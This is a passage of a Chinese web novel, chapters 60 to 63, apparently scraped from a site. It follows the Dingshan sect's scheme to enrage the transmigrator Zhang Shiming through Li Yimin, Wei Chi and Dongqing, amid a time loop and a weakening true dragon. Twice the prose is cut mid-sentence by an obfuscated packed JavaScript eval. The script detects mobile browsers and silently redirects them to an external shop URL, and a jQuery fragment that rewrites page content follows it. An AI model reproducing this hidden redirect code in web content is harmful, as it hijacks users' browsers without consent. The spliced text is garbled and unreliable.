乱象都是极其少见却有可能出现的东西,完全没有人为。 对卫池来说自然无关紧要,可是对化龙之人就有可能造成致命威胁。 以前走在山下各地,发生乱象也觉得是那一带有问题。 可眼下停在鼎山禁地仍乱象频出,卫池不得不怀疑乱象出处。 他是世间唯一看破轮回之人,因为轮回起因就是自己。 面具人只会让这片天地死,但他还能让这里生。 只是不断重复的结局始终没有活路。 如果天地不满意无休止的轮回,是否会彻底终结? 他想解决面具人,面具人想解决化龙之人。 那么天地想解决他,也并非绝无可能。 毕竟轮回近百次也没出现生机,脾气再好也受不了。 60. 天堑变通途 盛极而衰、枯荣轮转,这是自然之道,也是天地循环之道。 真龙消失殆尽,实际就是由盛转衰。 其实这跟春生夏长秋收冬藏一样,并不会固定不变。而是下了台阶还会继续往前走,走到新阶梯再向上。 就跟月亮阴晴圆缺一样,圆了就会缺,缺了还会再圆。 有起有伏,这才有生路。 但世间真龙消失后,修道人士肆意掠夺龙息,还去三清龙庭打扰最后那条龙。 下了台阶前方只有万丈深渊,因此天下岌岌可危。 ——缺了以后没有圆,只有亡。 五个修道人士拼接出秋容女仙,挡住真龙彻底衰亡的路。 鼎山弟子好不容易让天下呈现生机,总算能继续往前走。 所有困难似乎都能解决。 但这时张师铭把鼎山灭了,彻底葬送生路。 世间万物的生死在他眼里甚至连一个词语的分量都不如。 幸亏鼎山还有人炉,在尸骸遍野、血流满地之处,人炉发现微不足道的生机。 ——向死而生的生机。 万事万物都在走向死亡,人活着其实就是在死的路上。 死的过程和亡的结果其实才是生死本真。 在鼎山灭门时,卫池发现当前只是死没有亡,因为自己还有一口气。 只要他还没断气,鼎山就没有亡。 因此人炉使用人炉之火点燃鼎山最后一丝气息。 然后时间回到刚上鼎山时,就看他能不能打破之后的灭门结局。 原本一切有条不紊,可轮回近百次鼎山完全没出现生机。 ——因为人炉只是在救鼎山。 活的只是鼎山,天地依然只有亡。 鼎山在天地中,而又跟天地是一体。 所谓“人以天地之气生,四时之法成”,也就是说万事万物为一体。 天地要生,也就不能只有天地生。 鼎山要活,那么鼎山中人也得活。 卫池身为鼎山中人,所以他也必须活。 可如今他的所作所为没有给自己一点活路。 正如真龙毁灭天地就得亡一样,救真龙也就是在救天地。 ——那么救鼎山也得救他自己。 但卫池始终无法领悟其中真谛,他一死鼎山就得灭,鼎山灭了天地只有亡。 无论如何他都不知道此事,天地只能弄死化龙之人。 要救化龙之人,那么必须得救他自己。 死是极其容易之事,活才难于上青天。 因此化龙之人的躯体已在生死存亡之际。 张师铭给化龙之人的躯体打开生路,天地又将其拖到死地。 如果卫池不能救化龙之人的躯体,鼎山也会灭。 他依然没有领悟其中奥秘,不过可以再次平息乱象。 于是乱象不断生成,卫池就不停平息。 虽然不清楚乱象出处,不过他可以解决乱象。 毕竟人炉可以转化龙息为功法,鼎山禁地就有无穷无尽的龙息。 只要还没死,龙息就能为他所用。 但是不断转化龙息,就是在不停消耗龙息。 极其仰仗鼎山龙息的九炼洞窟深受影响,说出这件事的菩提慧海都快哭了。 “鼎山龙息不断被消耗,真龙恢复时间越来越长……” 听到这个消息的齐云鲤也无可奈何,龙息被不断消耗,就是被不断使用。 能在鼎山不断使用龙息的人,恐怕只有人炉。 之前知道面具人会消耗鼎山龙息,结果卫池也在干这种事。 虽然他不会危害鼎山,但消耗鼎山龙息就没好事。 不过齐云鲤只能劝说:“冷静点,人炉不会擅自使用龙息,如今鼎山龙息被消耗,估计是非做不可。” “龙的气息又弱了!”有修道人士感叹。 另一个人唉声叹气:“之前还以为总算有活路……” 他们费劲心血,耗费无穷无尽的修为功法都没能彻底贯通那条路。 其他几人都在低声叹息,仿佛无力回天。 之前发现人炉在救鼎山,可如今人炉也是在葬送鼎山生路。 似乎就是起于此终于此。 齐云鲤转头看向青湖,她没说话,也没有任何表态。 ——但是并没有垂头丧气。 两人对视一眼,没有任何言语,都已经明白对方的意思。 有些事可以你来我往。 “他抢鼎山的,我们就抢他的。”齐云鲤先说。 抢劫是为非作歹的事,不过九炼洞窟里没人反对。 毕竟天理难容的事都见过,抢东西实在稀松平常。 只是有人问:“抢谁?” 随后青湖说出答案:“——面具人。” 齐云鲤点点头,时至今日所有人都憋着一口气,那就趁机出气。 那个人之前抢了数不胜数的鼎山龙息,那么现在就抠出来。 抠出他那边的龙息,也就没必要再担心鼎山龙息。 又有人问:“谁去抢?” “鼎山龙息。”齐云鲤说。 所有人都知道鼎山龙息已化形为人。 具体对象没人反对,不过具体操作就有点令人迷惑。 虽然鼎山龙息已化形为人,但实在不敢奢望什么。 “龙息抢龙息?”这话说的仿佛是天方夜谭。 但青湖强调:“所以天经地义、顺理成章。” 她没有解释,只是突出合理性。 大千世界无奇不有,再稀奇古怪的事他们也见过。 因此那五个修道人士只是怀疑:“……能到手吗?” 这可不是去路边抢小孩玩具。 他们有这个担心很正常,菩提慧海趁机解释:“所以我们要先商量出对策,然后通知鼎山龙息。” 又有人怀疑:“……还要靠我们?” “龙息再强也不如人。”青湖再次强调。 齐云鲤掏出一根木棍在地上画:“说是抢其实是骗,我们把面具人骗得深信不疑,他就会让鼎山龙息有得手机会。” 地上出现几个简单图案,一座山和一个水池,还有一个人。 人会从山那边夺走鼎山龙息,他们就能通过水池夺走人的龙息。 ——水池是关键,那个水池的名字叫玄镜池。 此时的冬青还没跟九炼洞窟联系,不过三年之后就是龙骨论战。如果那时化龙之人才恢复,鼎山龙息会乱成什么样就不敢想象。 虽然化龙前所未见,但恢复人形怎么也没必要三年。 故意拖到那个时候,冬青觉得张师铭不可能干好事。 于是她守在玄镜池故意打孙峥湖原形,狐狸被她打得哭个不停,但是不敢反抗。 冬青认为自己之前跟张师铭吵过,眼下要套情报就得拉近距离,既然孙峥湖跟他争过,那就拿狐狸做挡箭牌。 只要打得够狠,张师铭就会好奇。 冬青是这么想的,不过打了三天也没人过来。 狐狸已经被打得欲哭无泪。 “他怎么还不过来?”冬青十分疑惑。 狐狸赶紧冲到远处才说:“被打的应该是你吧?” 这话不假,虽然之前孙峥湖跟张师铭争执过,但真正让他难堪的是冬青。 如今让他难堪的人平安无事,张师铭自然不会现身。 冬青一时没明白背后的道理,只是瞬间冲过去暴打狐狸。 张师铭在远处看到狐狸被打,感觉下一个被打的就是自己。 现在打狐狸,只是为了之后打他。 毕竟冬青是鼎山掌门带回来的,还住在飞泉院那边,实在惹不起。 虽然他看鼎山不顺眼,但是也没必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那人尽在做稀奇古怪的事,要不是如今站在九炼洞窟,都快成为世间魔头。 只能说青湖打面具人就是两个魔头针锋相对。 双方都觉得是自己地盘,所以要砸场子的绝不放过。 九炼洞窟里确定好计划,在鼎山的孙峥湖就惨遭毒手。 他能预测吉凶悔吝,全是因为太过倒霉。 倒霉得无话可说时,鼎山伸出援手,只不过他必须负责帮鼎山趋吉避凶。 孙峥湖的倒霉鼎山可以解决,鼎山的凶只有倒霉经验丰富的他才能率先知晓。 预测吉凶悔吝的能力并非天生就有,而是鼎山掌门赋予他的。 只不过要知道那么多,就得承受龙息压迫。 龙息压迫鼎山弟子都在承受,不过孙峥湖身上的格外重。 因此稍微有点风吹草动,他就被吓得不行。 如今来的不止大风呼啸,孙峥湖感觉都要窒息。 以前这样倒霉过一次,没想到还会再出现。 他奄奄一息躺在床上,感觉就要断气。 不过倒霉到极致时,感觉格外灵敏,可能算是一种垂死挣扎。 千钧一发之际,孙峥湖仿佛看到青湖师叔站在旁边,她伸手点了点飞泉院两侧,然后说:“两害相较取其轻。” 曾经那次倒霉最后也是青湖师叔伸出援手。 因此孙峥湖深信不疑。 与其被冬青拖到玄镜池打,不如让其他人出面,转移张师铭注意力。 而那个吸引仇恨的对象非李宜敏莫属。 61. 文斗 身为一个倒霉至极的人,孙峥湖对所有鼎山中人都进行过深入调查,否则不知何时就会惹上麻烦。 鼎山弟子人数众多,分工合作,虽然最初都在晨练之地修炼,但几年之后就会根据各自擅长的东西调整方向。 有人负责地六镖局的事,有人负责煅剑城的事,还有人负责医疗。 李宜敏就是负责医疗,虽然也能打,不过治病救人更擅长。 由于治病救人,她走过大江南北,见过形形色色的人。 所以张师铭要怎么对付,她再清楚不过。 得罪人到今天还能平安无事,可见李宜敏就不是善茬。 孙峥湖被针对过好几次,每次都哑口无言。 之后发现其他跟李宜敏针锋相对的人,后续就伤势惨重,所以他再也不敢惹她。 虽然不会伤重不治,但是痛起来真的要人命。 一边明显不怀好意,一边千万不要去惹。 两个人见面会发生什么就不是孙峥湖能想象的。 他觉得这个计划可行,就先去跟陆顷己说,对方有点惊喜,似乎期待已久。 然后说第一次张师铭在禁地弄得卫池右手差点残废,李宜敏气了很长时间。 眼下总算有机会教训他,这是天大的好事。 既然已经有那种事,孙峥湖就不必再担心。 ——李宜敏只会把张师铭的皮都扒了。 随后陆顷己便告诉李宜敏此事,对方瞬间就是一副跃跃欲试的模样,似乎已经想出千百种死法。 张师铭在鼎山胡作非为,可这个时候谁也不好动手。 不过不动武又不是不能给他一点教训。 在鼎山故意弄伤鼎山中人,张师铭是第一个,李宜敏希望也是最后一个。 此地有鼎山中人受伤都得她出面,所以又要被气死。 张师铭的优势很明显,但劣势也不小。 由于功法过于高超,很多事他都不会留意。 而那些他没必要留意的事,就是弱点。 经年累月都视若无睹,可那些事情也能痛击他。 李宜敏做好计划,就去找冬青交代此事。 虽然之前冬青都避人耳目,不过李宜敏负责治病救人,早就接触过。 她知道冬青身份也不感兴趣,毕竟关系到鼎山存亡。 冬青正在找孙峥湖过来打,李宜敏说不用再打他,她去教训张师铭就行。 “……啊?”冬青完全想不通。 “只要我态度不好,他就会觉得你还能接受。” 冬青很疑惑:“……你态度好过?” 李宜敏不好惹在鼎山是人尽皆知的事。 她能神色温和地让人瘫痪倒地,而且伤势严重时也只能找她。 所以众人都有点怕她,又很同情陆顷己。 李宜敏能保持平静状态,全靠他受罪。 “以前就没好过,之后只会更差。”李宜敏做出保证。 冬青还是有点茫然:“差到什么程度?” “他看到你都会觉得和蔼可亲。” 冬青之前被打,然后又跟张师铭吵,形象已经相当恶劣。 在这种前提下还要拉近距离,实在让人心力交瘁。 她想达到和蔼可亲的效果,但一直没成功。 眼下有李宜敏的保障,那就绝对不会有问题。 “你说的都对,那我要干什么?”冬青诚心诚意地问。 “等着就行,之后抱怨我一下。随你怎么说,反正我不计较。” “他会被气成什么样?”冬青好奇又期待。 “气到再也不想看到我。” 对李宜敏来说,气人之事常有而救人不常有。 救过那么多人,可见被她气得头昏脑胀的人有多少。 治病救人讲究辨证论治,气人也如出一辙。 既是救人也能气人,既能气人也可以救人。 冬青问得很认真:“那我要注意什么?” “玄镜池你就别去了,我这次会过去。”李宜敏说。 “那我之后在什么地方蹲点?” “在鼎山主道上守着就行,假装被我气到。” 都被李宜敏气,所以就有共同话题。 不过—— “鼎山就不存在被你气完,还敢出门声张的人……”冬青皱起眉头,如果鼎山弟子敢往外说,那么都可以编出一套书籍。 李宜敏完全无所谓:“其他人知道是在演戏,但他不知道,别提醒就行。” “他们估计都巴不得看场好戏。”冬青觉得这比逢年过节还热闹。 “好戏就要开场,做好准备吧。” 吩咐完相关事情,李宜敏就去玄镜池等着,她背着药框假装在采药。 不过真正要采的药现在还没来。 李宜敏在树林里翻找,隔三岔五就叹口气,似乎始终没找到想要的东西。 这是跟前几天截然不同的景象,因此张师铭停在远处观察。 那个鼎山弟子始终都在低头找东西,还会唉声叹气。 她明显有难处,这跟之前的冬青有鲜明对比。 这段时间被鼎山弟子烦来烦去,张师铭还不能反抗,显得他很逆来顺受。 虽然有孙仲礼疏解情绪,但他是穿书者,又不是正宗鼎山弟子。 之前被小说里的人烦了一大圈,眼下总算出现机会让他去烦人。 ——那当然再好不过。 张师铭不懂药理知识,不过他看过一些相关资料。 眼下那个人找不到合适药材,那就过去看看,不信还能难得了他。 在鼎山弟子万般无奈时,张师铭走过去问:“难道这边还有什么草药?” 李宜敏回头一看,那是个长相儒雅的男子,举止得体、言谈温和,一看就很装模作样。 她叹了一口气说:“前几天冬青来这边,说是看到一种极其罕见的药材。她怕失手弄坏就不敢动,于是过去告诉我,但我怎么也找不到。” 前几天冬青在玄镜池打狐狸的场景张师铭亲眼所见,这要还能发现药材,那就是天方夜谭。 估计是打完也不解气,所以骗这个鼎山弟子过来折腾。 “前几天有人在这里打狐狸,我都不敢靠近,只好从后面绕过来。”张师铭说得有些无奈。 李宜敏闻言又是一叹:“估计是骗我的,我说她怎么会认识。” 这个表态说明她跟冬青也有矛盾,张师铭就趁机说:“最开始她在玄镜池还要拿刀砍我。” “你没事吧?”李宜敏担心地问。 “幸亏我及时躲闪,这才没事,”张师铭摇摇头,“不过之后她又污蔑我。” 李宜敏跟着摇头叹息:“她是掌门带回来的,谁也没办法。” “孙峥湖帮她说了几句,她也帮他说过几句,怎么还会打起来?”张师铭问。 李宜敏很无可奈何:“鼎山估计只有青滔师伯她不敢打。” “她这么厉害,难道你们都怕她?” “身份特殊,谁也不敢惹她。”李宜敏只是摇头。 但特殊之处不在与鼎山掌门的关系,而是跟鼎山的关系。 如果没有龙息,那么鼎山也就没必要存在。 鼎山还在世间全因真龙,真龙要想恢复全靠龙息。 张师铭不理解深藏其中的含义,只是假装出于好意询问:“她说的是什么药?我帮忙找一找。” “是很少见的东西,也许一年半载才发现一个。” “……玄镜池还有那种东西?” “谁也不知道会出现在什么地方。”李宜敏摇摇头。 张师铭问:“那起码也知道生长习性之类的吧?通常出现在什么地方,什么时候开花结果,总不至于一无所知吧?” “春生夏长秋收冬藏,什么地方都可能有,也有可能哪里都找不到。” 张师铭相当疑惑:“还有这种东西?” “可遇不可求啊,”李宜敏低头叹息,“我只是略有耳闻,还没亲眼见过。” “那个药有什么用?” “类似活死人肉白骨吧。” 这话一出,张师铭马上就说:“这里不可能有,不用找了。” “你怎么知道没有?”李宜敏当然不信。 张师铭皱起眉头:“太过稀少,寻常地方不可能出现。” “这里还寻常?”李宜敏很奇怪。 张师铭更奇怪:“这里还不寻常?” “寻常地方不可能出现罕见的药?”李宜敏又问。 张师铭十分确定:“能长在寻常地方就不罕见。” “也许只是用药方法不对?” 张师铭强调:“再对也没用。” 他的态度已经很有问题。 不过说到这里,李宜敏还是在尽量挽回局面。 毕竟她是来气人的,不是来吵架的。 自己要是生气,还怎么气对方。 “虽然冬青满口胡说,也还是值得一试。”李宜敏低头一叹。 张师铭再次强调:“她说得再真,也是假的。” “此话怎讲?” “稀世珍宝不可能出现在寻常人家那边。” “但那是一种药。”李宜敏停止叹气。 张师铭皱起眉头:“灵丹妙药不可能遍地都是。” 这段对话一出,双方态度都已经明确。 李宜敏原本是来气张师铭的,结果自己反而被气。顿时觉得之前是自己太过慈眉善目,所以才让对方不知天高地厚。 于是她客气地说:“不过举世罕见的药其实没用。” “看到药之前就已经死了,当然只能怪药没用。”张师铭嫌弃地摇头。 这话就类似是在李宜敏坟头载歌载舞,活到今天没想到还有人这么嚣张。 她瞬间将计划抛之脑后,当务之急是气死这个人。 李宜敏眉头一挑:“一心只有寻药,其实就是自找死路。” “等是等不来的,必须赶紧去找,如果有人来抢还得打起来。”张师铭还耐心指导起来。 李宜敏问:“对药这么忠心耿耿,就没想过生病的人?” “想也没用,顶多就是把人想死。”张师铭强调。 李宜敏 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“不能药到病除?” 张师铭这句话有点阴阳怪气,以前如果有人胆敢说这种话,已经躺进地洞。 不过现在这个人不好对付,李宜敏不能冲动。 “药到病除的只有一个人,而且痊愈之后还得帮其他人康复。”她强压怒火。 张师铭又嫌弃起来:“这不就是药少?” “药少才是大多数时候……” “只能救一个,那其他人干脆别管。” “你不会以为你是药到病除那个吧?!”李宜敏实在忍无可忍。 张师铭闻言一愣,突然发现李宜敏眉眼锋利,似乎不好惹。 之前见她长吁短叹,还以为性格温和。 不过有人挑事他也不怕。 “既然我无法药到病除,那就没人能药到病除。”他信心满满。 “其实货真价实的药到病除,根本就不存在,”李宜敏不屑一顾地说,“你惦记药到病除,就只会无药可救。” ——这就是明晃晃咒张师铭去死。 他声音变大:“我死了,其他人还能活?” “人生在世,完全健康很少见,生病才是常有,”李宜敏略微一顿,然后强调,“不过就是多一种病,有什么大不了的。” 这话说得张师铭无关紧要似的。 他恶狠狠地说:“不能药到病除,那他们就得死。” “又不是还有人不会死。”李宜敏笑起来。 张师铭似乎是在宣布:“所有人都会死。” “反正也是你先死。”李宜敏伸手一点。 张师铭第一次遇到这么明显的诅咒,可鼎山弟子没动他,所以他也不能动李宜敏。因此只能大声反驳:“无论如何你都必死无疑!” “让你先死一步我还是能做到。”李宜敏知道他不敢动武,所以无所顾忌。 “怎么看我都比你命长!” “你不会以为玄镜池是风水宝地吧?”李宜敏仿佛说出一个秘密,“住在这里的人绝对早死。” 此言一出,张师铭瞬间愣住,让他住在玄镜池是鼎山的决定。 身为名门正派,鼎山还干这种事? “你、你们……” 李宜敏说:“化龙那个人就住在这里,她比你早死还能化龙。看来你活着也没用,还是赶在她之前死吧。” “你……” 李宜敏又笑起来:“而且我不住这里,你绝对比我早死。” 张师铭被气得话都说不出来。 在远处偷看的孙峥湖和冬青无话可说,虽然知道李宜敏会气人,不过实在没想到下手这么狠。 过几天张师铭还要去鼎山禁地化形,那里的卫池也是擅长气人的角色。 都不知道能把他气成什么样。 冬青叮嘱:“等他去过鼎山禁地,我们再去主道上守着。” “……啊?”孙峥湖完全没想到还跟自己有关。 “气一气十年少,经常生气有益身心健康。” “……啊?”孙峥湖根本想不到还能这么胡说八道。 “我去禁地交代情况,你在这边守着,小心他被气死。” 孙峥湖一脸茫然:“我又不会救?” “她会。”冬青伸手指着那边的李宜敏。 气人再救人的后果,就是张师铭会被气得不如死了。 而且被气成那样,只要假装跟他同病相怜就行。 鼎山弟子几乎人人都被气过,只要整理一下相关内容就能天衣无缝。 不得不说这是个完美计划。 禁地卫池收到冬青的情报,张师铭被李宜敏气得不行,争取下次化形时再气他一次。只要他被气得头昏脑胀,鼎山麻烦自然就会减少。 麻烦缠身的卫池欣然接受这个提议。 张师铭有多麻烦他再清楚不过,接下来就是让对方知道他有多棘手。 62. 出气对象 真龙在鼎山禁地休息,张师铭定期过来帮真龙化形,真龙状态逐渐稳定。 不过还得有人在禁地守着,以防发生不测。 守在禁地的只能是卫池,其他人都无法承受长时间龙息压迫。 之前来的青滔已经去禁地外练剑,以防张师铭在非化形期间来禁地。 看起来有很好的防护,但张师铭留在鼎山主要是为了休养。休养就必须使用龙息,而真龙恢复也需要龙息,因此双方产生争斗。 真龙明显更加虚弱,虚弱到就连睁开双眼都做不到。 因此只要张师铭呆在鼎山,即使什么也不做,也对真龙构成巨大威胁。 化龙一事不可小觑,但张师铭也得小心。 而且禁地乱象频出,要解决乱象,卫池就只能转化龙息为功法。 他的功法源源不断,真龙的龙息就越来越少。 真龙被龙息不足威胁,又被乱象威胁,变回人形的时间就越来越长。 卫池知道即使状态稳定,那也很虚弱。 冬青是鼎山龙息,她来让他气张师铭,必然有利于真龙。 既然之前张师铭表现得无比麻烦,那接下来他就表现得无比棘手。 几天后张师铭来到禁地时,一切风平浪静。 冰天雪地里没出现任何莫名其妙的事,雪还在下,红梅还在绽放。 原本这再好不过,但前几天被李宜敏气得直接晕厥。谁知又被她救醒,只能更气,还不能晕。 张师铭不知道鼎山还有这么气人的角色,而且鼎山弟子盯着自己,他也不能动武。 每次回想起当时的情景他都快气死,李宜敏仿佛知道他不会动手,所以就肆无忌惮。之后问鼎山弟子,他们说自己都被气过。 原本能让人好受些,可张师铭发现谁也没自己气得严重。 于是他反而更气,感觉自己都被彻底比下去。 幸亏今天他要到禁地帮忙化形,可以趁机拿小说男主出气,发泄心中不满。 张师铭本想在化形途中制造点麻烦,谁知无事发生,仿佛都被解决。 化形顺利再好不过,可顺畅到这个地步,他实在不能趁机出气。 因此张师铭决定把前几天李宜敏的麻烦转移给小说男主。 化形结束他并未直接离开,而是低头一叹:“唉,前几天在玄镜池遇到个鼎山弟子,她说有种草药也许会出现在鼎山,但具体位置无法确定。” 张师铭说出开头就要编造故事,原本天衣无缝,但卫池早已知道此事。 于是他直接问:“难道会出现在禁地?” “我就是担心这个。”张师铭顺势接话。 这只是开始,接下来才会出现重点。 能出现在禁地的草药,必定不同凡响。 禁地有龙息压迫,鼎山弟子也有很多人无法承受。如果草药出现在禁地,那么就能压过一大批鼎山弟子,也就是人不如草。 而且如果龙息压迫对那种草药没影响,也就说明草药具有人炉特性。 人炉能跟龙息和谐相处,实际上是人炉需要龙息。 草药不受龙息压迫影响,估计就是草药需要龙息。 鼎山禁地虽然龙息鼎盛,但有真龙在此,没有一丝一毫龙息多余。 草药与真龙同时在禁地出现,势必会争夺龙息。 一旦形成这种局面,化龙之人还能不能回来都是问题。 此事相当严重,不过卫池已事先知晓玄镜池的争吵。 所以他问:“怎么会出现在禁地?” “玄镜池和禁地在一条线上,都充满龙息。那个人会在玄镜池寻找,也就是说草药并不惧怕龙息,”张师铭低头一叹,“禁地龙息更多,也许对草药有巨大吸引力。” 这就点出草药会跟真龙争抢龙息,是巨大隐患。 “但禁地冰天雪地,不适合植物生长。”卫池没有敌意,只是迟疑道。 张师铭伸手指着远处红梅说:“那也是植物,它不畏冰雪肆意绽放,说不定那种植物也可以。” “因为有阵法在保护梅花。”卫池说出真相。 禁地红梅世间罕见,毕竟再怎么傲霜斗雪,梅花能承受的寒冷也有限。 这里严寒刺骨、终年积雪,无论如何都不会有暖春,早就超出梅花极限。 所以红梅能绽放在冰天雪地,全靠阵法保护。 张师铭无话可说,过了一会儿才开口:“那种罕见草药只会出现在禁地这种不同寻常的地方,一旦过来估计只能无可奈何。” ——这是突出二者的独特。 “鼎山就很寻常,草药会出现在这里,也就是说普通地方也能生长。”卫池耐心解释。 ——这是在说二者同样寻常。 张师铭当然不同意:“那是能活死人肉白骨的东西!” “世间又不是没有活死人肉白骨的药,不过那些都出自寻常地方。”卫池举例说明。 张师铭锲而不舍:“这个药跟那些不是一回事。” “没见过才会想得神乎其神,一旦亲眼所见就会发现不过如此。”卫池点评。 张师铭又要气死,今天的话跟之前的话如出一辙。 一前一后都是说他异想天开,不干实事。 而且他之前能跟李宜敏吵得不可开交,这时还不能发火,只能憋着。 他气得不行,感觉还被人补刀。 原本是想过来发泄一下心中怨气,没想到小说男主还补充说明,仿佛是在嘲笑自己不知深浅。 张师铭越想越气,又不能在禁地发火,只好立即离开,冲去飞泉院告状。 去飞泉院完全不说玄镜池的事,谁也不能拿他怎么样。 他转身就走,片刻不留,卫池并没有欣喜。 眼下只是前奏,真正的关键还要再等几天。 今日之事究竟有何成效,只有那时候才知道。 张师铭一溜烟冲进飞泉院,然后才慢下来。 毕竟急则生乱,做好充分准备都难以应对罗白音,如果急了那就满盘皆输。 他慢悠悠走进那个房间,然后低头一叹。 罗白音只是转头看他一眼,没打招呼也没理他。 好不容易冷静下来的张师铭又有点急,可他不好先开口,只能再次叹息。 不过还在叹气罗白音就看他一眼,叹气结束她就转过头不理他。 张师铭觉得这人也太铁石心肠,他都长吁短叹成这样,她居然不管。 实在没办法,张师铭叹完一口气就说:“禁地情况有点复杂……” “那里什么时候简单过?”罗白音只是问。 这话就说得他很蠢一样。 原本张师铭还想说玄镜池对寿命的影响,但眼下感觉罗白音似乎会说化龙之人都能接受,你不行? 要是她真的说出这种话,那他还不如什么也不说。 吃闷亏总好过被嘲讽。 “唉,之前是我想得太简单,”张师铭只能继续叹息,“我还以为人炉能稳住局面,结果……” “人炉是鼎山必不可少的东西。”罗白音打断他的话。 这种态度就意味着人炉不能碰。 张师铭只好解释:“我不是说人炉,而是说身为人炉的那个人。” 具体到卫池个人,罗白音就不好再说话,毕竟她也不熟。 “化龙之人的徒弟怎么了?”她只好抬出那个人的身份。 张师铭很无奈:“他想帮忙是真的,但心思太过深沉,反而可能添乱。” “怎么还会添乱?”罗白音问。 “化龙之人恢复人形相当复杂,如果想得太多,可能会让局势更复杂。” “如果复杂会有什么后果?” 张师铭又是一叹:“化龙之人的恢复时间可能就要延长。” “不知阁下能在鼎山停留多长时间?”罗白音只是问。 张师铭保证:“化龙之人没恢复,我绝对不走。” “那就没问题,时间长就长,”罗白音反而开始说,“他师父化龙一事太过稀奇,世间仅此一例。如果他只是多想,那都还算好。” 这话一出瞬间就显得她宽宏大量、温文尔雅。 张师铭实在没想到她还能帮人炉说话。 之前一不留神就被说得遍体鳞伤,现在她居然好言相劝? 他只好赶紧强调:“延长时间只是最轻的影响。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213755|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “等其他影响出现再及时应对就行。”罗白音完全不计较。 张师铭很疑惑:“……来不及吧?” “你又不是死了。” 他又一次要被气死,罗白音帮人炉说好话,结果就这么对他。 不过他实在不能发火,只能憋下一口气马上告辞。 最近就是被气得花样百出,被这个气又被那个气,被这种气又被那种气。 张师铭感觉自己都快成为鼎山专属出气包。 一个个都没给他好脸色,就算有孙仲礼又能怎么样,他又不是鼎山中人。 虽然还有千百种方法骗孙仲礼,但眼下实在气不过。 张师铭气得在鼎山走来走去,还不能发火,而且之前跟李宜敏发火被气得更严重。 找孙仲礼又不能出气,想半天也找不到出气对象。 最后在快到一个拐角路口时,他看见冬青坐在角落里打狐狸。 鼎山漫山遍野都是绿,可那边的一人一狐却仿佛闪着凶光, 冬青边打还边说,说的都是李宜敏怎么欺负她。 看起来是治病救人的大夫,可一旦说错话就让人躺地上起不来。而且这次躺完下次身受重伤又只能找她,虽然她不会见死不救,但绝不会让人好过。 冬青在细说李宜敏罪行,说得都有点声泪俱下。 最后感叹自己只能骗她扑个空,她却能捏到自己的伤痛,太过天壤之别。 张师铭站在原地听完一炷香时间,总算确定冬青也被李宜敏折磨。 ——看来他们是同病相怜的关系。 以前冬青那些花招说不定也是李宜敏弄出来的。 冬青气得只能坐在路边打狐狸,可是打也没用,这种苦痛根本没人说。 张师铭顿时觉得自己光芒万丈,虽然之前被气得不行,但眼下发现还有被气得更惨的。 即使之前的事都不愉快,但这时他们能一起痛斥李宜敏的恶行。 以前觉得冬青凶神恶煞,这时却感觉她娇小可人,关键是不会气人。 他们都被那个手无缚鸡之力的人气得不行,总算可以说出不堪回首的痛苦。 “前几天你在玄镜池打狐狸,怎么现在又在这里打?”张师铭走过去问。 冬青气冲冲地说:“难道还要过去打?!” 以前遇到这种态度的人,张师铭绝对只会尽快脱身。 可如今明白事情起因,他就大有可为。 “在哪里打不是重点,重点是你总是在打狐狸。”张师铭伸手一指。 被他指到的狐狸顿时有点瑟瑟发抖,显得更加害怕。 “你一直在打它也不是办法啊。”张师铭弯下腰想抱起狐狸。 狐狸瞬间就蹿出去,千钧一发之际被冬青拖住尾巴。 冬青把狐狸抱在怀里,然后把手伸进它嘴里:“我只是跟它闹着玩。” “前几天我还以为你是在真动手,所以不敢靠近。”张师铭解释。 “就算动手我也没多大力,”冬青低头吩咐狐狸,“你咬一下看看。” 狐狸见张师铭也看过去,就象征性咬一下。 “你看,它也没用力。”冬青示意手上的齿痕。 那里只有一个浅浅凹陷,没有任何损伤。 “反正我没用力,所以可以一直打它。”冬青温柔抚摸狐狸头顶。 现在确实没用力,但之前有时候是真用力,打得狐狸哭个不停。 不过现在说出来也没用,绝不能白挨打。 想到这里,狐狸就蹭了蹭冬青,显得格外亲近。 张师铭没兴趣计较真假,哪怕再用力,冬青也只会对狐狸下手。 跟李宜敏比起来就是柔弱无力、楚楚可怜。 被她气完也只敢找狐狸出气。 不过找狐狸出气也无法解决问题,毕竟狐狸又不是李宜敏。 张师铭说:“我见你打了几天狐狸,本想过去劝劝,谁知再后来出现的就是另外一个人。” “是不是背着药框?”冬青两眼放光,马上问。 “唉,正是那个人……”张师铭低头一叹。 虽然什么也没说,可又像说出千言万语。 63. 比武结果 虽然张师铭什么也没说,但态度已经表明一切。 这时正是午后,阳光不刺眼但是很明媚,可照在他身上却并无暖意。 仿佛曾经发生的一切让人心寒意冷。 之前两人又打又吵,眼下能心平气和说几句话就很罕见。 这种态度更是想都不敢想。 ——他在日光下的无奈说明已经上钩。 机不可失,于是冬青赶紧描述:“背着个药框在采药,还唉声叹气?” 这就是当时李宜敏的形象,为了让冬青记下来,她还专门表演一遍。 虽然那时在远处偷看,不过张师铭出现之前的场景冬青实在没注意。 之后李宜敏在跟前突出强调,即使莫名其妙,但她知道一定能派上用场。 “唉,就是这样……”张师铭无可奈何,但也只是略微承认。 他被李宜敏气又被卫池气,还被罗白音气,实在是怕了。 感觉鼎山太过藏龙卧虎,谁知道哪个拐角等着惹不起的人。 因此这时张师铭不敢透漏信息,生怕说漏嘴就被一顿打。 冬青也不担心他什么也不说,反正相关资料应有尽有。 于是她就说起来:“那个人远看是救死扶伤的大夫,近看才知道有多吓人。” ——此乃鼎山弟子的共同体会,他们都知道李宜敏惹不起。 这句话瞬间就说出张师铭心声,他见李宜敏低头叹息,还以为好欺负。 